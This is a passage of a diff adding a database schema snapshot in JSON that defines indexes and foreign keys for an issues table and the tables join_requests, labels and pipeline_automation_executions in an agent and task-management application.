+          "with": {}
+        },
+        "issues_company_harness_kind_idx": {
+          "name": "issues_company_harness_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_status_idx": {
+          "name": "issues_company_assignee_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_user_status_idx": {
+          "name": "issues_company_assignee_user_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_responsible_user_idx": {
+          "name": "issues_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_parent_idx": {
+          "name": "issues_company_parent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_idx": {
+          "name": "issues_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_origin_idx": {
+          "name": "issues_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_workspace_idx": {
+          "name": "issues_company_project_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_execution_workspace_idx": {
+          "name": "issues_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_monitor_due_idx": {
+          "name": "issues_company_monitor_due_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "monitor_next_check_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_updated_idx": {
+          "name": "issues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_created_idx": {
+          "name": "issues_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_open_normalized_title_created_idx": {
+          "name": "issues_open_normalized_title_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(regexp_replace(btrim(\"title\"), '\\s+', ' ', 'g'))",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issues\".\"hidden_at\" is null and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_priority_idx": {
+          "name": "issues_company_priority_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "priority",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_identifier_idx": {
+          "name": "issues_identifier_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_title_search_idx": {
+          "name": "issues_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_identifier_search_idx": {
+          "name": "issues_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_description_search_idx": {
+          "name": "issues_description_search_idx",
+          "columns": [
+            {
+              "expression": "description",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_open_routine_execution_uq": {
+          "name": "issues_open_routine_execution_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'routine_execution'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"execution_run_id\" is not null\n          and \"issues\".\"status\" in ('backlog', 'todo', 'in_progress', 'in_review', 'blocked')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_incident_uq": {
+          "name": "issues_active_liveness_recovery_incident_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_leaf_uq": {
+          "name": "issues_active_liveness_recovery_leaf_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_fingerprint\" <> 'default'\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stale_run_evaluation_uq": {
+          "name": "issues_active_stale_run_evaluation_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stale_active_run_evaluation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_task_watchdog_uq": {
+          "name": "issues_active_task_watchdog_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'task_watchdog'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_productivity_review_uq": {
+          "name": "issues_active_productivity_review_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'issue_productivity_review'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stranded_issue_recovery_uq": {
+          "name": "issues_active_stranded_issue_recovery_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stranded_issue_recovery'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_onboarding_first_task_uq": {
+          "name": "issues_onboarding_first_task_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'onboarding_first_task'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issues_company_id_companies_id_fk": {
+          "name": "issues_company_id_companies_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_id_projects_id_fk": {
+          "name": "issues_project_id_projects_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_workspace_id_project_workspaces_id_fk": {
+          "name": "issues_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_goal_id_goals_id_fk": {
+          "name": "issues_goal_id_goals_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_parent_id_issues_id_fk": {
+          "name": "issues_parent_id_issues_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_assignee_agent_id_agents_id_fk": {
+          "name": "issues_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_checkout_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_checkout_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "checkout_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_execution_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_execution_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "execution_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_created_by_agent_id_agents_id_fk": {
+          "name": "issues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issues_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.join_requests": {
+      "name": "join_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "invite_id": {
+          "name": "invite_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "request_type": {
+          "name": "request_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending_approval'"
+        },
+        "request_ip": {
+          "name": "request_ip",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requesting_user_id": {
+          "name": "requesting_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_email_snapshot": {
+          "name": "request_email_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_defaults_payload": {
+          "name": "agent_defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_hash": {
+          "name": "claim_secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_expires_at": {
+          "name": "claim_secret_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_consumed_at": {
+          "name": "claim_secret_consumed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_agent_id": {
+          "name": "created_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_by_user_id": {
+          "name": "rejected_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_at": {
+          "name": "rejected_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "join_requests_invite_unique_idx": {
+          "name": "join_requests_invite_unique_idx",
+          "columns": [
+            {
+              "expression": "invite_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_company_status_type_created_idx": {
+          "name": "join_requests_company_status_type_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_user_uq": {
+          "name": "join_requests_pending_human_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requesting_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"requesting_user_id\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_email_uq": {
+          "name": "join_requests_pending_human_email_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(\"request_email_snapshot\")",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"request_email_snapshot\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "join_requests_invite_id_invites_id_fk": {
+          "name": "join_requests_invite_id_invites_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "invites",
+          "columnsFrom": [
+            "invite_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_company_id_companies_id_fk": {
+          "name": "join_requests_company_id_companies_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_created_agent_id_agents_id_fk": {
+          "name": "join_requests_created_agent_id_agents_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.labels": {
+      "name": "labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "labels_company_idx": {
+          "name": "labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "labels_company_name_idx": {
+          "name": "labels_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "labels_company_id_companies_id_fk": {
+          "name": "labels_company_id_companies_id_fk",
+          "tableFrom": "labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_automation_executions": {
+      "name": "pipeline_automation_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "automation_id": {
+          "name": "automation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "triggering_event_id": {
+          "name": "triggering_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_issue_id": {
+          "name": "execution_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_execution_id": {
+          "name": "retry_of_execution_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generation": {
+          "name": "generation",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_automation_executions_idempotency_uq": {
+          "name": "pipeline_automation_executions_idempotency_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "automation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "triggering_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_company_case_idx": {
+          "name": "pipeline_automation_executions_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_routine_idx": {
+          "name": "pipeline_automation_executions_routine_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_execution_issue_idx": {
+          "name": "pipeline_automation_executions_execution_issue_idx",
+          "columns": [
+            {
+              "expression": "execution_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_retry_of_execution_idx": {
+          "name": "pipeline_automation_executions_retry_of_execution_idx",
+          "columns": [
+            {
+              "expression": "retry_of_execution_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_automation_executions_company_id_companies_id_fk": {
+          "name": "pipeline_automation_executions_company_id_companies_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_automation_executions_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_routine_id_routines_id_fk": {
+          "name": "pipeline_automation_executions_routine_id_routines_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_execution_issue_id_issues_id_fk": {
+          "name": "pipeline_automation_executions_execution_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "execution_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_automation_executions_status_check": {
